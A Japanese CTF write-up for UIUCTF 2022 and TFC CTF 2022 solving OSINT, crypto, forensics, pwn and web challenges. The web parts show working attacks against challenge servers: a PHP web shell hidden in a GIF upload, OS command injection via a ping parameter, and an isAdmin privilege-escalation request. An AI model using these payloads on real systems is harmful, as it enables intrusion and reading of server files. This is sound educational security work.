UIUCTF 2022 Writeup

この大会は2022/7/30 9:00(JST)~2022/8/1 9:00(JST)に開催されました。
今回もチームで参戦。結果は536点で395チーム中93位でした。
自分で解けた問題をWriteupとして書いておきます。

Join our Discord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

uiuctf{scinkey_chackinty}

Everyone's A Critic 1 (osint)

Discordに入り、"review"で検索すると、chuck.lephucke#0038が以下のように言っていることがわかる。

Hello I am Chuck and I am here somehow, i'm going to review UIUCTF 

プロフィールを見ると、ロールにフラグが設定されている。

uiuctf{this_flag_is_not_bait}

Everyone's A Critic 2 (osint)

YouTubeで"chuck lephucke"を調べると、「Chuck Lephucke Game Reviews」というものが見つかった。以下のURLにある、再生リストの全体を見ると、「the truth」の説明らしき箇所にフラグが書いてあった。

https://www.youtube.com/playlist?list=PL4CrQf2sJ35r6WW8c0exXS7NJ35oTrILx
uiuctf{m@kE_sUrE_2_j01n_mY_ch@nn3L}

Everyone's A Critic 4 (osint)

twitterで"chuck lephucke"を調べると、以下のページが見つかる。

https://twitter.com/ChuckLephucke

ヘッダ画像にフラグが薄く見える。

フラグ形式が違うので、修正する。

uiuctf{scre@m1ng_@nD_crY1ng_b3cau5e_0n_twitter}

Everyone's A Critic 5 (osint)

Steamで"chuck lephucke"を検索すると、以下のURLのページが見つかる。

https://steamcommunity.com/profiles/76561199375368137

以下のレビューのページを見ると、フラグが書いてあった。

https://steamcommunity.com/profiles/76561199375368137/recommended/
uiuctf{th1s_g@m3_m@d3_m3_A_terr1bL3_p3rSoN_iN_2016}

Frame (web)

画像をアップロードすると、画像と認識され、ファイル名に".jpg", ".jpeg", ".png", ".gif"が含まれていたら、uploads/[16進数16バイト文字列]-[ファイル名]にアップロードされる。
exploit.php.gifに以下のコードを書き、アップロードする。

GIF87a
<?php
system("ls");
?>

アップロードできたら、HTMLソースを見て、どこにアップロードされたかを見て、アクセスする。
https://frame-web.chal.uiuc.tf/uploads/06b3a8d4a24d53df-exploit.gif.phpにアクセスする。

GIF87a
0599843920bb9f60-exploit.gif.php
06b3a8d4a24d53df-exploit.gif.php
09a94c064fb521da-mypic2.gif
0ae10ae5cf81755d-exploit.gif.php
28ef7fe2138957e7-exploit.gif.php
4be56ed0bed39de2-flag.php%00.png
76915bb667b65a57-tp.jpg
8572e77ccab3b580-exploit.jpg.php
8dcd3383cd7fb6ad-mypic2.gif
94311de2a8337482-frog.jpg
a5c085f78b9271c9-frame-2.php.png
b52b455302716eb8-frame.png
bce80be7b3a6b515-flag%00.png
d2b613bf332392d5-frame-2.php.png
dcfee66e151ca4de-exploit.gif.php

今度は以下のようにコードを変えて、アップロードして結果を確認してみる。

GIF87a
<?php
system("ls /");
?>

結果は以下のようになり、flagがあることがわかる。

GIF87a
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
web-apps

今度は以下のようにコードを変えて、アップロードして結果を確認してみる。

GIF87a
<?php
system("cat /flag");
?>

結果は以下のようになり、フラグが得られた。

GIF87a
uiuctf{th1nk1ng_0uts1de_th3_fr4m3}
uiuctf{th1nk1ng_0uts1de_th3_fr4m3}

Military Grade Encryption (crypto)

key_sizeは128, 256, 512, 1024, 2048の5パターン。PINは000000~999999の1000000パターン。このブルートフォースで復号する。

#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad
from hashlib import md5
from base64 import b64decode
from itertools import cycle

MD5 = lambda s: md5(s).digest()
KEY_PAD = lambda key: b"\x00" * (16 - len(key)) + key

def custom_decrypt(b64data, password, keysize):
    def _gen_key(password):
        key = password
        for i in range(1000):
            key = MD5(key)
        return key
    data = b64decode(b64data)
    key = bytes_to_long(_gen_key(password))
    ciphers = [
        AES.new(KEY_PAD(long_to_bytes((key*(i+1)) % 2**128)) ,AES.MODE_ECB) for i in range(0, keysize, 16)
    ]
    ct_blocks = [
        data[i:i+16] for i in range(0, len(data), 16)
    ]
    return b"".join([cipher.decrypt(ct_block) for ct_block, cipher in zip(ct_blocks, cycle(ciphers))])

with open('flag.enc', 'r') as f:
    enc = f.read().rstrip()

found = False
for keysize in [128, 256, 512, 1024, 2048]:
    for pin in range(1000000):
        password = str(pin).zfill(6).encode()
        flag = custom_decrypt(enc.encode(), password, keysize)
        if flag.startswith(b'uiuctf{'):
            found = True
            flag = unpad(flag, 16).decode()
            print(flag)
            break
    if found:
        break
uiuctf{n0t_eNou6h_3ntr0_4_H4ndr0113d_Crypto}

asr (crypto)

RSA暗号だが、ある決まったp, qの生成方法になっている。さらにe, d, ctしかわかっていない。d * e - 1を算出すれば、phiの倍数がわかる。

d * e - 1 = 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000

この値を素因数分解し、p - 1とq - 1の組の全組み合わせで、復号する。

$ python -m primefac 12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000
12798440407105031908999784124548472446040018889572960817730530853573947469787170113848247037843114210766860084237698041237300679054325293570244618517445055261481120413825585349170515207419290554629935870091105933806157817778443160330590022707245776617234034051475753857980562266052844635281301139210583841390095872000: 2 2 2 2 2 2 2 2 2 2 2 2 3 3 3 5 5 5 7 7 11 13923226921736843531 15789155524315171763 14695627525823270231 10441209995968076929 13403263815706423849 16070004423296465647 10357495682248249393 10476183267045952117 16303174734043925501 16755840154173074063 17757525673663327889 11865228112172030291 14497899396819662177 12775011866496218557 11157595634841645959 18318015934220252801
#!/usr/bin/env python3
import itertools
import math
from Crypto.Util.number import*

e = 65537
d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473
ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285

prod_primes = d * e - 1
primes = [13923226921736843531, 15789155524315171763, 14695627525823270231,
    10441209995968076929, 13403263815706423849, 16070004423296465647,
    10357495682248249393, 10476183267045952117, 16303174734043925501,
    16755840154173074063, 17757525673663327889, 11865228112172030291,
    14497899396819662177, 12775011866496218557, 11157595634841645959,
    18318015934220252801]

prod_nums = [1, 2, 2 * 3, 2 * 3 * 5, 2 * 3 * 5 * 7, 2 * 3 * 5 * 7 * 11]

found = False
for c in itertools.combinations(primes, 8):
    c1 = list(c)
    c2 = []
    for p in primes:
        if p not in c1:
            c2.append(p)

    for num1 in prod_nums:
        for num2 in prod_nums:
            p = math.prod(c1) * num1 + 1
            q = math.prod(c2) * num2 + 1
            if isPrime(p) and isPrime(q):
                m = pow(ct, d, p * q)
                flag = long_to_bytes(m)
                if flag.startswith(b'uiuctf{'):
                    found = True
                    print('[+] p =', p)
                    print('[+] q =', q)
                    flag = flag.decode()
                    print('[*] flag:', flag)
                    break
        if found:
            break

    if found:
        break

実行結果は以下の通り。

[+] p = 271950369251417813843455214193293615667247326993078971132249677504502887164812273703264630473200442858630726959228126834476515102922075834734211926079887071
[+] q = 3063911255686677563803587147108604118996073685890282016028537107735073940154658396464966848784155585890692979345332356675288354274891823922477896511701437111
[*] flag: uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}

Collection (misc)

このCTFの各問題に使われている画像をダウンロードする。(0, y)で青の値が異なるyの値がインデックス、青の値がフラグ文字になることから、フラグを求める。

#!/usr/bin/env python3
from PIL import Image
import os

DIR1 = 'collection/'
DIR2 = 'download/'

files = os.listdir(DIR1)
flag = [''] * len(files)

for file in files:
    img1 = Image.open(DIR1 + file).convert('RGB')
    img2 = Image.open(DIR2 + file).convert('RGB')
    w, h = img1.size

    for y in range(h):
        r1, g1, b1 = img1.getpixel((0, y))
        r2, g2, b2 = img2.getpixel((0, y))
        if b1 != b2:
            flag[y] = chr(b1)
            break

flag = ''.join(flag)
print(flag)
uiuctf{Th1s_c0llect10n_is_n0w_c0mpl3ted_4f2335}

Feedback Survey (misc)

アンケートに答えたら、フラグが表示された。

uiuctf{th@nk_y0u_f0r_pl4y1ng_U1UCTF_2022!!!}

TFC CTF 2022 Writeup

この大会は2022/7/29 19:00(JST)~2022/7/31 19:00(JST)に開催されました。
今回もチームで参戦。結果は7903点で941チーム中8位でした。
自分で解けた問題をWriteupとして書いておきます。

RULES (MISC)

Discordに入り、#rulesチャネルのルールを見ると、フラグの例が書かれていた。

TFCCTF{Fr33_fl4gz_f0r_U}

RANDOM (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  time_t tVar2;
  char *pcVar3;
  long in_FS_OFFSET;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  puts("Menu: \n1. Generate number");
  __isoc99_scanf(&DAT_0010201e,&local_14);
  if (local_14 == 1) {
    uVar1 = rand();
    printf("%d",(ulong)uVar1);
  }
  else if (local_14 == 0x539) {
    pcVar3 = getenv("FLAG");
    printf("%s",pcVar3);
  }
  else {
    printf("wrong option");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

1337(=0x539)と答えればよい。

$ nc 01.linux.challenges.ctf.thefewchosen.com 50534
Menu: 
1. Generate number
1337
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}

ROBOTS AND MUSIC (WEB)

http://01.linux.challenges.ctf.thefewchosen.com:50987/robots.txtにアクセスすると、以下のように表示される。

User-agent: *
Disallow: /g00d_old_mus1c.php
|<
http://01.linux.challenges.ctf.thefewchosen.com:50987/g00d_old_mus1c.phpにアクセスすると、フラグが表示された。
>|
<b>TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}</b>
|<

* PONG (WEB)
OSコマンドインジェクション。http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20lsにアクセスすると、以下のように表示される。
>||
index.php
Command executed: ping -c 2 127.0.0.1; ls

http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20ls%20/にアクセスすると、以下のように表示される。

bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Command executed: ping -c 2 127.0.0.1; ls /

http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20cat%20/flag.txtにアクセスすると、以下のように表示される。

TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}
Command executed: ping -c 2 127.0.0.1; cat /flag.txt
TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}

ARE YOU THE ADMIN? (WEB)

以下によりadminユーザで、isAdminがtrueのデータを登録する。

$ curl -H 'Content-Type: application/json' -d '{"username": "admin", "isAdmin": true}' http://01.linux.challenges.ctf.thefewchosen.com:59205/api/auth

http://01.linux.challenges.ctf.thefewchosen.com:59205/にアクセスすると、以下のようにフラグが表示された。

Username: admin
Is admin? yes
TFCCTF{S4n1t1z3_Y0ur_1nput5!}
TFCCTF{S4n1t1z3_Y0ur_1nput5!}

ディレクトリ探索を行い、あやしいURLにアクセスする。

$ python3 dirsearch.py -u http://01.linux.challenges.ctf.thefewchosen.com:51343 -e html,php,txt
Missing required dependencies to run.
Do you want dirsearch to automatically install them? [Y/n] y
Installing required dependencies...

  _|. _ _  _  _  _ _|_    v0.4.2.4
 (_||| _) (/_(_|| (_| )

Extensions: html, php, txt | HTTP method: GET | Threads: 25
Wordlist size: 10276

Output File: /mnt/hgfs/Shared/dirsearch/reports/01.linux.challenges.ctf.thefewchosen.com_51343/_22-07-29_21-51-26.txt

Target: http://01.linux.challenges.ctf.thefewchosen.com:51343/

[21:51:27] Starting: 
[21:52:15] 200 -  230B  - /.well-known/apple-app-site-association
[21:55:40] 200 -   20B  - /index.html

Task Completed

$ curl http://01.linux.challenges.ctf.thefewchosen.com:51343/.well-known/apple-app-site-association
{
    "applinks": {
        "apps": [],
        "details": [
            {
                "appID": "ABCDEFGHIJ.com.example.example",
                "paths": ["TFCCTF{4ppl3_4pp_51t3_4550c14t10n}"]
            }
        ]
    }
}
TFCCTF{4ppl3_4pp_51t3_4550c14t10n}

BBBBBBBBBB (FORENSICS)

バイナリに含まれる'BBBBBBBBBB'を削除する。

#!/usr/bin/env python3
with open('chall.jpg', 'rb') as f:
    data = f.read()

data = data.replace(b'BBBBBBBBBB', b'')

with open('flag.jpg', 'wb') as f:
    f.write(data)

この結果jpgとして画像を見ることができ、フラグが書いてあった。

TFCCTF{the_fl4g_1s_th3_w4y}

ADDING IN PARTS (FORENSICS)

0.zip~21.zipがあるが壊れていて、展開できない。各zipファイルに格納されているファイルのサイズは1で、crcは正しい値になっていると推測できる。そこで1文字のブルートフォースcrcが一致する文字を連結していく。

#!/usr/bin/env python3
import zipfile
import binascii

dic_crc = {}
for code in range(32, 127):
    crc = binascii.crc32(bytes([code]))
    dic_crc[crc] = chr(code)

flag = ''
for i in range(22):
    file = 'add_parts/%d.zip' % i
    with zipfile.ZipFile(file, 'r') as zf:
        for info in zf.infolist():
            crc = info.CRC
    flag += dic_crc[crc]

print(flag)
TFCCTF{ch3cksum2_g0od}

CAT WINK (FORENSICS)

画像検索すると、https://www.istockphoto.com/jp/%E5%86%99%E7%9C%9F/animal-winkにjpgだが同じ画像がある。RGBで同じかどうかで白黒を分けて画像生成する。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('cat.png').convert('RGB')
img2 = Image.open('istockphoto-1267021092-612x612.jpg').convert('RGB')
w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        if r1 == r2 and g1 == g2 and b1 == b2:
            output_img.putpixel((x, y), (0, 0, 0))
        else:
            output_img.putpixel((x, y), (255, 255, 255))

output_img.save('flag.png')

生成した画像にフラグが現れた。

TFCCTF{c4tch0wsk1}

BASIC (CRYPTO)

basecrackでデコードする。

$ python3 basecrack.py -b "/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D"

██████╗  █████╗ ███████╗███████╗ ██████╗██████╗  █████╗  ██████╗██╗  ██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝
██████╔╝███████║███████╗█████╗  ██║     ██████╔╝███████║██║     █████╔╝ 
██╔══██╗██╔══██║╚════██║██╔══╝  ██║     ██╔══██╗██╔══██║██║     ██╔═██╗ 
██████╔╝██║  ██║███████║███████╗╚██████╗██║  ██║██║  ██║╚██████╗██║  ██╗
╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ v3.0
    
		python basecrack.py -h [FOR HELP]

[-] Encoded Base: /Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D

[>] Decoding as Base91: TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

[-] The Encoding Scheme Is Base91
TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

MAFIOSO (CRYPTO)

sha256と推測し、CrackStationでクラックする。

snitchesgetstitches
TFCCTF{snitchesgetstitches}

OBSCURE (CRYPTO)

コピペしたものをファイル保存し、バイナリエディタでASCIIのみの表示にすると、飛び飛びでフラグになっている。

TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}

EXCLUSIVE ORACLE (CRYPTO)

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1
b'6\x0e\xa0\xe4;}=\xe1D\xb7\xab\xb6\xf9&.\xea\xb7A1N\x15[\xde)S|\xf9n-=5\x80\xaf\x88\xe2\x19\xb5\x11\xa2\xf6S'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 11
b'\xfa\xe2\xe8\xebm<\xaaz\xd4\xe1\xa8PM\x9az<\xc7Jbc\xfe\x00\x05\x12\xc9\x9f\xca\xf1\xd1\x88\xdb0\xe3\xcd\x98\xfb\xe8\x0b\xf7m\x9f\x95'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 11111
b'\xd6S\xb3-\xe90\x0b\x8ae9\x1e\xc9\x7f\x1f\xd1\xe4|\x997a\xad\xf81\xe78\xf5\x04\x1e\xdaEar\x8bt\xc7\x18\xa61\xad\x01\xb3$\xc1_\x8c'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1
b'\xfa\xde1Z\x07\xb4\x7f\xd7Aq\r\x80\x16\x8b~\xf8\x03B!\xb3\xbe\xecM\xaa\x82\xd0\xbc\x92I\xa4\x0e\x12}b\x8c)x\xab\xbc4\x9f'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1
b'i\xbf\xf59\x08\x9d\x92\x128\xe6\xdeo\xc6_\xb2*\x07\xe8-\x19Z\xbf\x01\x83\x873\x83\x95\x1dW~\xfc;\xbc\xfc\x83\xaf\xb8\xf0\x97\x0c'

暗号文字列は 40 + 入力バイト数 の長さになっている。フラグ+入力文字がXOR暗号されていると推測できる。1文字入力の暗号文字列の先頭と末尾をXORしてみる。

>>> from Crypto.Util.strxor import strxor
>>> strxor(b'6', b'S')
b'e'
>>> strxor(b'\xfa', b'\x9f')
b'e'
>>> strxor(b'i', b'\x0c')
b'e'

一応3文字の場合も試してみる。

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 111
b'\xa9\x0b|\x96\xde\x85\xe1\x8by\x8b\xbdn\xcd\x90\x16^\x92\xd5\t\xbbm\xf1\xf2\xb6\xe3\xafDW\x0cf\x96\x85jw\xd57\x1e\x7f\n1\xcc|\x0e'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 111
b'\xa2\x10\x85\x05M\xe2c\\\xce(aI%\x19g\x11Y\xb5\x05fn\x99+\x84\xfe\xc8V\x11\x86d@k\xf2\x0e\xae\x02\xacv\xb8\n\xc7g\xf7'
>>> strxor(b'\xa9\x0b|', b'\xcc|\x0e')
b'ewr'
>>> strxor(b'\xa2\x10\x85', b'\xc7g\xf7')
b'ewr'

鍵は40バイトと考えられるため、40バイト平文を入力し鍵を求め、復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57625))

pt = '1' * 40

data = recvuntil(s, b'> ')
print(data + pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = eval(data)

key = strxor(pt.encode(), ct[40:])
flag = strxor(ct[:40], key).decode()
print(flag)

実行結果は以下の通り。

Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1111111111111111111111111111111111111111
b'\n\xa6e\xbd\xa2\xe6\xd9\xf4\x8dgG\t\xa61\xc7\xd8\xa8\xef@\x08GU\x0bB\xdfh\xc1\x06\xfa\xf5\xb8?\x95D\xf2\r\tK\x93%o\xd1\x17\xcf\xc7\x91\x93\xb2\xd4b\x02\x1f\xe4_\x82\x81\xaa\x81\x06\t\x04\x08^,\x99h\x84_\xfb\xb1\xbeQ\x97\x1b\xf2[UN\x9di'
TFCCTF{wh4t's_th3_w0rld_w1th0u7_3n1gm4?}
TFCCTF{wh4t's_th3_w0rld_w1th0u7_3n1gm4?}

TRAIN TO PADDINGTON (CRYPTO)

16バイト鍵でXORをして暗号化している。まずフラグが"TFCCTF{"から始まることを前提にわかる範囲で復号する。3ブロック目の最終文字が'\x3f'になっているので、それ以降は'\x3f'になることがわかる。このことから全体の鍵を求め、復号する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    ct = bytes.fromhex(f.read())

ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]

pt_head = 'TFCCTF{'

key0 = []
for i in range(len(pt_head)):
    key0.append(ord(pt_head[i]) ^ ct[i])

pt0_blocks = []
for block in ct_blocks:
    pt = ''
    for i in range(len(key0)):
        pt += chr(block[i] ^ key0[i])
    pt0_blocks.append(pt)

assert pt0_blocks[-1][-1] == '\x3f'

pt_tail = '\x3f' * (16 - len(pt_head))
key1 = []
for i in range(len(pt_tail)):
    key1.append(ord(pt_tail[i]) ^ ct[- len(pt_tail) + i])

key = key0 + key1
flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ key[i%len(key)])
flag = flag.rstrip('\x3f')
print(flag)
TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}

ADMIN PANEL (CRYPTO)

サーバの処理概要は以下の通り。

・KEY: ランダム16バイト文字列
・PASSWORD: ランダム16バイト文字列
・以下繰り返し
 ・メニュー表示
 ・option: メニュー選択(1 or 2)
 ・optionが1の場合
  ・password: hexで入力→デコード
  ・passwordがPASSWORDと一致していたら、フラグを表示
 ・optionが2の場合
  ・token: 入力(64バイトhex文字列)
  ・hex_token: tokenをhexデコード
  ・r_byte: ランダム1バイト
  ・r_byteを16進表記で表示
  ・xorred: hex_tokenの各文字をr_byteとXOR
  ・PASSWORD = decrypt(xorred)
   ・iv = xorred[:16]
   ・ct = xorred[16:]
   ・pt = ''
   ・state = iv
   ・ctの長さ分繰り返し(i)
    ・b: stateをAES-ECB暗号化した1バイト目
    ・c = b ^ ct[i]
    ・pt += bytes([c])
    ・state = state[1:] + bytes([ct[i]])
   ・ptを返却

hex_tokenの32バイトを同じ文字で指定したら、b, c, stateの値は常に一定になる。PASSWORDの16バイトは何かの文字の16バイトになるので、ブルートフォースでPASSWORDを当てる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 53189))

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

token = (b'A' * 32).hex()

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

for code in range(256):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    password = (bytes([code]) * 16).hex()

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'Wrong password!':
        break

実行結果は以下の通り。

========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 46
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 00000000000000000000000000000000
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 01010101010101010101010101010101
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 02020202020202020202020202020202
Wrong password!
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 16161616161616161616161616161616
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 17171717171717171717171717171717
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 18181818181818181818181818181818
TFCCTF{l0g0n_z3r0_w1th_3xtr4_st3ps!}
TFCCTF{l0g0n_z3r0_w1th_3xtr4_st3ps!}

ADMIN PANEL BUT HARDER (CRYPTO)

ADMIN PANELとほぼ同様の問題だが、XOR鍵が1バイトから32バイトになっているため、難易度が上がっている。鍵はrandom.randbytes(32)で生成し表示されるので、Mersenne Twisterの特徴から、624//(32//4)回情報を得られれば、その次の鍵を推測することができる。このことを利用して、あとはADMIN PANELと同じ解き方で、フラグが得られる。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57825))

N = 624
state = []
for i in range(N // (32 // 4)):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    token = (b'A' * 32).hex()

    data = recvuntil(s, b'> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b'> ')
    print(data + token)
    s.sendall(token.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    r_bytes = bytes.fromhex(data.split(' ')[-1])
    for i in range(0, len(r_bytes), 4):
        r_int = int.from_bytes(r_bytes[i:i+4], byteorder='little')
        state.append(untemper(r_int))

state.append(N)
random.setstate([3, tuple(state), None])

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

token = random.randbytes(32).hex()

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

for code in range(256):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    password = (bytes([code]) * 16).hex()

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'Wrong password!':
        break

実行結果は以下の通り。

========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: a43f2fc4440aee2aac36229fa20ab55ca7114637b135f432b958d9b3b201d719
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: e1e5e6b61c6d56d69d532668ba7abad81445dc46816aa9838e10db8a96aad20c
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 070be145a744efd88c08b095a28066d1481d18096b09423b1e06b8b812c32cfd
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: a5a32afdb93184ffa09ba4b19d03b95f667a8f45f96aa0b71d42a03003e120f3
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: bf53cf50c2bb43dbb6f55f3c55b56ecc86c4a999ee945e294d5f59db49c90114
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 92438df5b02d7574c2f78eac882fb9d69b55aa4fdbdf2af8dc15fc6422543ded
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 42a9650c20dd82150fa0cee4dc7e9e90d46503430a540e9a51ff44bd5f3640cc
XORing with: 42a9650c20dd82150fa0cee4dc7e9e90d46503430a540e9a51ff44bd5f3640cc
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 00000000000000000000000000000000
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 01010101010101010101010101010101
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 02020202020202020202020202020202
Wrong password!
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d
TFCCTF{n0_th3_fl4g_1s_n0t_th3_0ld_0n3_plus-Th3-w0rd_h4rd3r!}
TFCCTF{n0_th3_fl4g_1s_n0t_th3_0ld_0n3_plus-Th3-w0rd_h4rd3r!}

